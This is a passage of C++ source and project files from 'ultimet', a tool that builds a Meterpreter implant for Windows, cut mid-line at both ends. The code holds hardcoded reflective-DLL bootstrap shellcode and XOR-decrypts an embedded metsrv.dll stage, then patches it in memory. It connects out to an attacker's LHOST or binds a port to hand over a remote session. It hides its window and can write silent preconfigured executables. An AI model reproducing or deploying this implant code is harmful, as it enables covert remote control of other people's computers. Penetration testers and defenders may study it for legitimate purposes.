ascii, wchar_t* unicode) 130 | { 131 | size_t len = strlen(ascii); 132 | if(len < 1024) 133 | { 134 | int result = MultiByteToWideChar(CP_OEMCP, 0, ascii, -1, unicode, len + 1); 135 | return TRUE; 136 | } 137 | else return FALSE; 138 | } 139 | 140 | bool UnicodeToAnsi(char* ascii, const wchar_t* unicode) 141 | { 142 | int result = WideCharToMultiByte(CP_OEMCP, 0, unicode, -1, ascii, 17, 0, 0); 143 | //int result = MultiByteToWideChar(CP_OEMCP, 0, ascii, -1, unicode, len + 1); 144 | return TRUE; 145 | } 146 | 147 | void print_header() 148 | { 149 | printf("\n****************************************************\n"); 150 | printf("[+] [ultimet] - The Ultimate Meterpreter Executable\n"); 151 | printf("[+] v0.3\n"); 152 | printf("****************************************************\n"); 153 | printf(" - http://eldeeb.net - @SheriefEldeeb\n\n"); 154 | } 155 | 156 | void usage() 157 | { 158 | printf( 159 | "Usage:\n" 160 | "utlimet.exe -h -p -t [-f FILENAME] [--msfpayload]\n" 161 | " [--remove-stage] [--reset] \n" 162 | 163 | "\nConnection settings:\n" 164 | "\t-h\tLHOST\tIP or a hostname.\n" 165 | "\t-p\tLPORT\tPort number.\"\n" 166 | "\t-t\tTRANSPORT \"reverse_tcp\", \"reverse_metsvc\", \"reverse_http\",\n" 167 | "\t\t\t \"reverse_https\",\"bind_tcp\" or \"bind_metsvc\"\n" 168 | 169 | "\nHTTP(S) Specific settings `optional`:\n" 170 | "\t-ua\tU_AGENT\tUser-Agent, enclose in `\"\"` if contains spaces.\n" 171 | "\t-et\tSECONDS\tSession expiration timeout in seconds.\n" 172 | "\t-ct\tSECONDS\tCommunication expiration timeout in seconds.\n" 173 | 174 | "\nMSFPAYLOAD-like functionality:\n" 175 | "\t--msfpayload\tWhen this is specified along with the connection\n" 176 | "\t\t\tparameters, new exe will be created with the following\n" 177 | "\t\t\tnaming convention:TRANSPORT-LHOST-LPORT.exe, \n" 178 | "\t\t\tthis newly created exe will execute silently according\n" 179 | "\t\t\tto the predefined settings.\n" 180 | "\t\t\t ... it's gonna be just like the exe files you get out\n" 181 | "\t\t\t of msfpayload ... on steroids :)\n" 182 | "\t--reset\t\tA new exe will be created `ultimet_reset.exe` with\n" 183 | "\t\t\tpre-defined settings cleared `undo -> --msfpayload`.\n" 184 | 185 | "\nStage options:\n" 186 | "\t-f\tFILE\tForces loading the stage from a file.\n" 187 | "\t\t\tNote: The file can be a regular metsrv.dll,\n" 188 | "\t\t\tor an encrypted one using the ultimet_xor.exe utility.\n" 189 | "\t--remove-stage\tCreates a new exe `ultimet_no_stage.exe` with stage\n" 190 | "\t\t\tresource removed, it will resut in smaller file, but\n" 191 | "\t\t\tmetsvc family of payloads won't be available.\n" 192 | "\t\t\tTo re-attach the resource ... use a resource editor.\n" 193 | 194 | "\nGeneral notes:\n" 195 | " - If you find the console window disappears immediatly when you run ultimet,\n" 196 | " this means it found valid connection settings built-in, to get rid of this\n" 197 | " behaviour, `ultimet.exe --reset` will create a pristine `ultimet_reset.exe`.\n" 198 | " - The exe file created with `--msfpayload` option is a fully functional\n" 199 | " ultimet.exe, it will run hidden and doesn't require connection parameters\n" 200 | " to be specified since they're preconfigured, to reset that exe to its norm,\n" 201 | " just specify `--reset` and a fresh exe will be created with default settings\n" 202 | " - If you're on a shell [not a console], you have to start the program using:\n" 203 | " \"start /b ultimet.exe ...\" or you'll lose your shell.\n" 204 | " - For the reverse_metsvc & bind_metsvc options, stage has to be available\n" 205 | " upfront, either through the bundled resource or loaded usng the \"-f\" option\n" 206 | " - The most reliable handler for reverse_metsvc is:\n" 207 | " \"windows/metsvc_reverse_tcp\" ... using reverse_metsvc to connect to a\n" 208 | " \"reverse_tcp\" *might* work, but not always, so, use reverse_metsvc with\n" 209 | " windows/metsvc_reverse_tcp ... same applies to bind_metsv.\n" 210 | 211 | "\nAdvanced notes:\n" 212 | " - ultimet utilizes resources to include the stage, and to store connection\n" 213 | " settings internally.\n" 214 | " - The stage `metsvc.dll` is stored in a resource `BINARY` and ID `101`,\n" 215 | " stage can be the plain metsvc.dll file or encrypted using ultimet_xor.exe\n" 216 | " utility.\n" 217 | " - Options are stored in a resource `BINARY` and ID `103` using the following\n" 218 | " convention: `|UM|TRANSPORT|LHOST|LPORT|` <- leave \"|UM|\" as it is since\n" 219 | " it's used inernally, and change connection settings as you like.\n" 220 | " - You can use your favourite resource editor to create/edit those resources as\n" 221 | " you please.\n" 222 | ); 223 | }; 224 | 225 | DWORD ReflectiveLoaderOffset(DWORD BaseAddress){ 226 | 227 | PIMAGE_DOS_HEADER pDosHeader; 228 | PIMAGE_NT_HEADERS pImageHeader; 229 | PIMAGE_EXPORT_DIRECTORY PExportDirectory; 230 | 231 | //DWORD RDLLAddress; 232 | 233 | pDosHeader = (PIMAGE_DOS_HEADER)BaseAddress; 234 | pImageHeader = (PIMAGE_NT_HEADERS)(BaseAddress + pDosHeader->e_lfanew); 235 | 236 | DWORD ExportRVA = pImageHeader->OptionalHeader.DataDirectory[0].VirtualAddress; 237 | PExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(RVAToOffset(pImageHeader,ExportRVA)+BaseAddress); 238 | 239 | PDWORD ExportFunctions = (PDWORD)(RVAToOffset(pImageHeader, PExportDirectory->AddressOfFunctions) + BaseAddress); 240 | PDWORD ExportNames = (PDWORD)(RVAToOffset(pImageHeader, PExportDirectory->AddressOfNames) + BaseAddress); 241 | PWORD ExportOrdinals = (PWORD)(RVAToOffset(pImageHeader, PExportDirectory->AddressOfNameOrdinals) + BaseAddress); 242 | 243 | char *check = nullptr; 244 | char *tempPointer = nullptr; 245 | bool gotcha = false; 246 | DWORD address = 0; 247 | for (DWORD i =0; iNumberOfFunctions; i++) { 248 | //std::cout << (char*)(DWORD*)RVAToOffset(pImageHeader,ExportNames[i]) + BaseAddress << std::endl; 249 | //std::cout << (PDWORD)RVAToOffset(pImageHeader,ExportFunctions[ExportOrdinals[i]]) + BaseAddress << std::endl; 250 | check = ((char*)(DWORD*)RVAToOffset(pImageHeader,ExportNames[i]) + BaseAddress); 251 | tempPointer = strstr(check,"ReflectiveLoader"); 252 | if(tempPointer != nullptr && check != nullptr) 253 | { 254 | gotcha = true; 255 | address = (DWORD)RVAToOffset(pImageHeader,ExportFunctions[ExportOrdinals[i]]); 256 | break; 257 | } 258 | 259 | } 260 | if (gotcha) 261 | { 262 | dprintf(L"[*] ReflectiveDll function offset found: 0x%08x\n", address); 263 | return address; 264 | } 265 | else return 0x153e; //hardcoded from original metsrv.dll... we have not tested these functions thoroughly yet. 266 | }; 267 | 268 | 269 | DWORD RVAToOffset(IMAGE_NT_HEADERS32 * pNtHdr, DWORD dwRVA) 270 | { 271 | int i; 272 | WORD wSections; 273 | PIMAGE_SECTION_HEADER pSectionHdr; 274 | pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr); 275 | wSections = pNtHdr->FileHeader.NumberOfSections; 276 | for (i = 0; i < wSections; i++) 277 | { 278 | if (pSectionHdr->VirtualAddress <= dwRVA) 279 | if ((pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) > dwRVA) 280 | { 281 | dwRVA -= pSectionHdr->VirtualAddress; 282 | dwRVA += pSectionHdr->PointerToRawData; 283 | return (dwRVA); 284 | } 285 | pSectionHdr++; 286 | } 287 | return 0; 288 | } 289 | -------------------------------------------------------------------------------- /inmet/inmet.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/inmet.rc -------------------------------------------------------------------------------- /inmet/inmet.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E} 15 | Win32Proj 16 | inmet 17 | ultimet 18 | 19 | 20 | 21 | Application 22 | true 23 | v120_xp 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v120_xp 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | true 45 | 46 | 47 | false 48 | 49 | 50 | 51 | 52 | 53 | Level3 54 | Disabled 55 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 56 | MultiThreadedDebug 57 | Default 58 | true 59 | 60 | 61 | Console 62 | true 63 | $(OutDir)$(TargetName)$(TargetExt) 64 | 65 | 66 | true 67 | 68 | 69 | 70 | 71 | Level3 72 | 73 | 74 | MinSpace 75 | true 76 | true 77 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | MultiThreaded 79 | Size 80 | 81 | 82 | Console 83 | true 84 | true 85 | true 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /inmet/inmet.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | 49 | 50 | Resource Files 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /inmet/main.cpp: -------------------------------------------------------------------------------- 1 | //بسم الله الرحمن الرحيم 2 | /* 3 | Contributors: 4 | - Anwar Mohamed "@anwarelmakrahy" 5 | Added support for metsvc_bind_tcp & bind_tcp. 6 | Added support for run-time parsing and patching of ReflectiveLoader Bootstrap. 7 | 8 | - YOUR NAME HERE... 9 | */ 10 | 11 | /************************************************ 12 | * [ultimet] * 13 | * The Ultimate Meterpreter Executable * 14 | ************************************************* 15 | - @SherifEldeeb 16 | - http://eldeeb.net 17 | - Made in Egypt :) 18 | ************************************************/ 19 | /* 20 | Copyright (c) 2013, Sherif Eldeeb "eldeeb.net" 21 | All rights reserved. 22 | 23 | Redistribution and use in source and binary forms, with or without 24 | modification, are permitted provided that the following conditions are met: 25 | 26 | 1. Redistributions of source code must retain the above copyright notice, this 27 | list of conditions and the following disclaimer. 28 | 2. Redistributions in binary form must reproduce the above copyright notice, 29 | this list of conditions and the following disclaimer in the documentation 30 | and/or other materials provided with the distribution. 31 | 32 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 33 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 34 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 35 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 36 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 37 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 38 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 39 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 40 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 41 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 42 | 43 | The views and conclusions contained in the software and documentation are those 44 | of the authors and should not be interpreted as representing official policies, 45 | either expressed or implied, of the FreeBSD Project. 46 | */ 47 | #include "main.h" 48 | 49 | 50 | /////////////////////////// 51 | // ReflectiveDLL bootstrap 52 | /////////////////////////// 53 | 54 | char ReflectiveDllBootStrap[] = 55 | "\x4D\x5A\xE8\x00\x00\x00\x00\x5B\x52\x45\x55\x89\xE5\x81\xC3" 56 | "\x00\x00\x00\x00"/* "\x37\x15\x00\x00"*/ //***CHANGE ME***// this is the hardcoded [offset-7] to ReflectiveLoader. 57 | "\xFF\xD3\x89\xC3\x57\x68\x04\x00\x00\x00\x50\xFF\xD0\x68" 58 | "\xE0\x1D\x2A\x0A" // EXITFUNC, this one is ExitThread 59 | /* 'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter 60 | 'thread' => 0x0A2A1DE0, # ExitThread 61 | 'process' => 0x56A2B5F0, # ExitProcess 62 | 'none' => 0x5DE2C5AA, # GetLastError*/ 63 | "\x68\x05\x00\x00\x00\x50\xFF\xD3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"; 64 | // End of the bootstrap. 65 | 66 | 67 | int wmain(int argc, wchar_t *argv[]) 68 | { 69 | PAYLOAD_SETTINGS payload_settings = {0}; // That's defined at main.h 70 | unsigned char* buffer = nullptr; // This will hold the loaded stage 71 | unsigned char* TempBuffer = nullptr; // This will have stuff set-up "like the socket", then the stage will be copied over. 72 | DWORD bufferSize = 0; // buffer length 73 | DWORD StageSize = 0; // if we're using encryption ... stage size = (bufferSize - 16) 74 | DWORD index = 0; // will be used to locate offset of stuff to be patched "transport, the url ... etc." 75 | char EncKey[17] = {0}; // XOR Encryption key 76 | void (*function)() = nullptr; // The casted-to-be-function after we have everything in place. 77 | bool FallbackToStager = false; // If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe. 78 | bool metsvc = false; // Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail. 79 | bool bBind = false; // Are we bind payload?. 80 | bool MSFPAYLOAD = false; // Create a msfpayload-like exe instead of executing? 81 | int err = 0; // Errors 82 | wchar_t UNICODEtransport_2[64] = {0}; // Sorry, I'm out of variable names ... 83 | 84 | //If we will get options from resource 85 | wchar_t UNICODEtransport[64] = {0}; 86 | wchar_t UNICODElhost[128] = {0}; 87 | wchar_t UNICODElport[32] = {0}; 88 | 89 | char ANSItransport[64] = {0}; 90 | char ANSIlhost[128] = {0}; 91 | char ANSIlport[32] = {0}; 92 | 93 | //If "-f" is specified (load stage from local file) 94 | wchar_t StageFilePath[MAX_PATH] = {0}; // If the stage is going to be loaded from a dll file from the filesystem, path will be put here. 95 | 96 | // reverse_metsvc specific Variables 97 | SOCKET ConnectSocket = INVALID_SOCKET; // Socket ... will be used for reverse_metsvc and reverse_tcp 98 | 99 | // HTTP(S) Specific Variables 100 | char url[512] = {0}; //Full URL, 512 bytes are enough. 101 | /************* 102 | Program Start 103 | **************/ 104 | 105 | //This will be used later for deciding if we can get options from resource... 106 | BOOL validTransport = false; 107 | if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) // 108 | validTransport = IsThisAValidTransport(UNICODEtransport); 109 | 110 | 111 | ///////////////////////////////// Parsing from command line /////////////////////////////////// 112 | if(argc>1) //Parsing options from resource failed, let's parse options from command line 113 | { 114 | print_header(); // as it sounds... 115 | 116 | // Is `--reset` been given as the first argument? 117 | // if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default 118 | if(wcscmp(argv[1],L"--reset") == 0) 119 | { 120 | dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n"); 121 | CopyFile(argv[0],L"ultimet_reset.exe",FALSE); 122 | ResourceOptionsReset(); 123 | exit(1); 124 | } 125 | 126 | // Is `--remove-stage` been given as the first argument? 127 | // if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage. 128 | if(wcscmp(argv[1],L"--remove-stage") == 0) 129 | { 130 | dprintf(L"[*] Creating a new file with stage removed... \n"); 131 | CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE); 132 | RemoveStage(); 133 | exit(1); 134 | } 135 | // Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/" 136 | for (int i = 1; i < argc; i++) 137 | { 138 | if (i != argc) // Check that we haven't finished parsing already 139 | if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter. 140 | payload_settings.TRANSPORT = argv[i + 1]; 141 | _wcsupr(payload_settings.TRANSPORT); // Wide-String-to-uppercase 142 | wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload 143 | if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 144 | { 145 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 146 | } 147 | else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0) 148 | { 149 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 150 | metsvc = true; 151 | } 152 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0) 153 | { 154 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP"; 155 | } 156 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0) 157 | { 158 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS"; 159 | } 160 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0) 161 | { 162 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 163 | bBind = true; 164 | } 165 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0) 166 | { 167 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 168 | metsvc = true; 169 | bBind = true; 170 | } 171 | 172 | else { 173 | dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT); 174 | dprintf(L"\n reverse_https, bind_tcp and bind_metsvc.\n"); 175 | exit(1); 176 | } 177 | 178 | // End of Transport checks 179 | } else if (wcscmp(argv[i], L"-h") == 0) { //LHOST 180 | payload_settings.LHOST = argv[i + 1]; 181 | } else if (wcscmp(argv[i], L"-p") == 0) { //LPORT 182 | payload_settings.LPORT = argv[i + 1]; 183 | } else if (wcscmp(argv[i], L"-ct") == 0) { //SessionCommunicationTimeout in seconds - 300 by default 184 | payload_settings.comm_timeout = _wtoi(argv[i + 1]); 185 | } else if (wcscmp(argv[i], L"-et") == 0) { //SessionExpirationTimeout in seconds - 604800 by default 186 | payload_settings.expiration_timeout = _wtoi(argv[i + 1]); 187 | } else if (wcscmp(argv[i], L"-ua") == 0) { //USER_AGENT 188 | payload_settings.USER_AGENT = argv[i + 1]; 189 | } else if (wcscmp(argv[i], L"-f") == 0) { //Should we load the stage from a file rather than from the resource? 190 | wcscpy_s(StageFilePath,argv[i + 1]); 191 | } else if (wcscmp(argv[i], L"--help") == 0) { //Print usage and quit 192 | print_header(); 193 | usage(); 194 | exit(1); 195 | } else if (wcscmp(argv[i], L"--msfpayload") == 0) { //are we going to mimic msfpayload? 196 | MSFPAYLOAD = true; 197 | } 198 | } 199 | //Do we have the minimum parameters? 200 | if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL) 201 | { 202 | dprintf(L"[-] Not enough parameters! \n\n"); 203 | usage(); 204 | exit(1); 205 | } else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource. 206 | 207 | //////////////////////// start of msfpayload ////////////////////////////// 208 | if(MSFPAYLOAD) // We will create a new exe with specified options, then exit 209 | { 210 | dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n"); 211 | dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2); 212 | dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST); 213 | dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT); 214 | 215 | UnicodeToAnsi(ANSItransport, UNICODEtransport_2); 216 | UnicodeToAnsi(ANSIlhost, payload_settings.LHOST); 217 | UnicodeToAnsi(ANSIlport, payload_settings.LPORT); 218 | 219 | msfpayload(ANSItransport, ANSIlhost, ANSIlport); 220 | //msfpayload will exit ... 221 | } 222 | 223 | ///////////////////////////////// Parsing from resource /////////////////////////////////// 224 | /* Will try to parse options from resource, 225 | this can fail in two ways: 226 | one: if we couldn't read from resource 227 | two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport 228 | So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from. 229 | */ 230 | } 231 | else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one. 232 | { 233 | Stealth(); // hide window :) 234 | payload_settings.TRANSPORT = UNICODEtransport; 235 | payload_settings.LHOST = UNICODElhost; 236 | payload_settings.LPORT = UNICODElport; 237 | 238 | //Start of TRANSPORT Checks and adjustments 239 | _wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase 240 | if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 241 | { 242 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 243 | } 244 | else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0) 245 | { 246 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 247 | metsvc = true; 248 | } 249 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0) 250 | { 251 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP"; 252 | } 253 | else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0) 254 | { 255 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS"; 256 | } 257 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0) 258 | { 259 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 260 | bBind = true; 261 | } 262 | else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0) 263 | { 264 | payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL"; 265 | metsvc = true; 266 | bBind = true; 267 | } 268 | } 269 | // check... 270 | if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL) 271 | { 272 | dprintf(L"[-] Not enough parameters! \n\n"); 273 | print_header(); 274 | usage(); 275 | exit(1); 276 | } 277 | 278 | //Have we been asked to load the stage from a file? 279 | if(wcscmp(StageFilePath, L"") != 0) 280 | { 281 | dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath); 282 | bufferSize = CopyStageToBuffer(StageFilePath, &buffer); 283 | } else { // If not, We'll try to load the stage from the resource ... 284 | 285 | // Read resource into buffer ... 286 | dprintf(L"[*] Loading stage into memory from resource...\n"); 287 | bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer 288 | if (bufferSize == 0) // if something went wrong... 289 | { 290 | FallbackToStager = true; // We will function in "stager" mode. 291 | if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right? 292 | { 293 | dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n"); 294 | dprintf(L" sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n"); 295 | dprintf(L"[-] ... will exit.\n"); 296 | exit(1); 297 | } else 298 | { 299 | dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n"); 300 | } 301 | } 302 | } 303 | /*/////////////////////////// 304 | ///////////////////////////// 305 | Warning! Program split ahead! 306 | ///////////////////////////// 307 | ///////////////////////////// 308 | 309 | At this given point, we know where the stage is going to be loaded from, 310 | either from resource (default), file or from the multi/handler, which will be handled differently. 311 | 312 | ======== 313 | Wrapping up what happened so far: 314 | if(-f specified) 315 | load_stager_from_file 316 | else 317 | load_stage_from_resource 318 | 319 | --- 320 | buffer == stage?; 321 | if (failed?) set FallbackToStager = true; 322 | 323 | if(FallbackToStager){ 324 | Act as a "regular" stand-alone meterpreter exe; 325 | populate buffer, 326 | if(tcp) adjust buffer usng ASM voodoo; 327 | } else { 328 | buffer already has the stage, 329 | decrypt it, 330 | patch it, 331 | do your stuff (socket, url building ..etc.) 332 | } 333 | now buffer == stage!! 334 | ((void (*)())buffer)(); 335 | _____________________ 336 | Ready? let's do it... 337 | */ 338 | 339 | if(FallbackToStager) 340 | //--------- Start of "working as a stager" ------------// 341 | { 342 | 343 | if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport. 344 | { 345 | if(bBind) /* bind_tcp */ 346 | StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT); 347 | else 348 | StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT); 349 | } 350 | 351 | else 352 | { 353 | StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT); 354 | } 355 | } 356 | //--------- End of "working as a stager" ------------// 357 | 358 | 359 | else //This is where "working as an inline stand-alone exe" stuff starts... 360 | { 361 | //Is the stage encrypted? 362 | if(memcmp(&buffer[0],"MZ",2)) 363 | { 364 | dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n"); 365 | GetKeyFromBuffer(buffer, EncKey, 16); 366 | printf("[*] \"%s\" will be used; decrypting...\n", EncKey); 367 | XORcrypt(buffer, EncKey, bufferSize); 368 | if(memcmp(&buffer[16],"MZ",2)) 369 | { 370 | dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n"); 371 | exit(1); 372 | } 373 | dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n"); 374 | buffer = buffer + 16; 375 | StageSize = bufferSize - 16; 376 | } else { 377 | dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n"); 378 | StageSize = bufferSize; 379 | } 380 | 381 | ///////////////////////////////////////// 382 | /**************************************** 383 | * Patching Stage in memory. * 384 | ****************************************/ 385 | ///////////////////////////////////////// 386 | 387 | // Patching transport 388 | index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport)); 389 | if (index == 0) // if the transport is not found ... 390 | { 391 | dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); 392 | exit(1); 393 | } 394 | dprintf(L"[*] Patching transport: Offset 0x%08x -> \"%s\"\n", index, payload_settings.TRANSPORT ); 395 | PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT)); 396 | 397 | // Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar! 398 | index = 0; //rewind 399 | 400 | 401 | DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7; 402 | dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index); 403 | unsigned char AddressChar[4]; 404 | memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4); // What the !$#% ... will discuss with anwar those casted-casts... 405 | memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4); 406 | 407 | //for ( unsigned int i=0; i \"%s\"\n", index, payload_settings.USER_AGENT); 430 | PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT)); 431 | 432 | //Patching global expiration timeout. 433 | index = 0; //rewind 434 | index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll 435 | if (index == 0) // if the global_expiration_timeout is not found ... 436 | { 437 | dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); 438 | exit(1); 439 | } 440 | 441 | if(payload_settings.expiration_timeout == NULL) 442 | { 443 | dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n"); 444 | payload_settings.expiration_timeout = 60400; 445 | } 446 | dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout); 447 | memcpy(&buffer[index], &payload_settings.expiration_timeout, 4); 448 | 449 | //Patching global_comm_timeout. 450 | index = 0; //rewind 451 | index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll 452 | if (index == 0) // if the global_expiration_timeout is not found ... 453 | { 454 | dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it."); 455 | exit(1); 456 | } 457 | 458 | if(payload_settings.comm_timeout == NULL) 459 | { 460 | dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n"); 461 | payload_settings.comm_timeout = 300; 462 | } 463 | dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout); 464 | memcpy(&buffer[index], 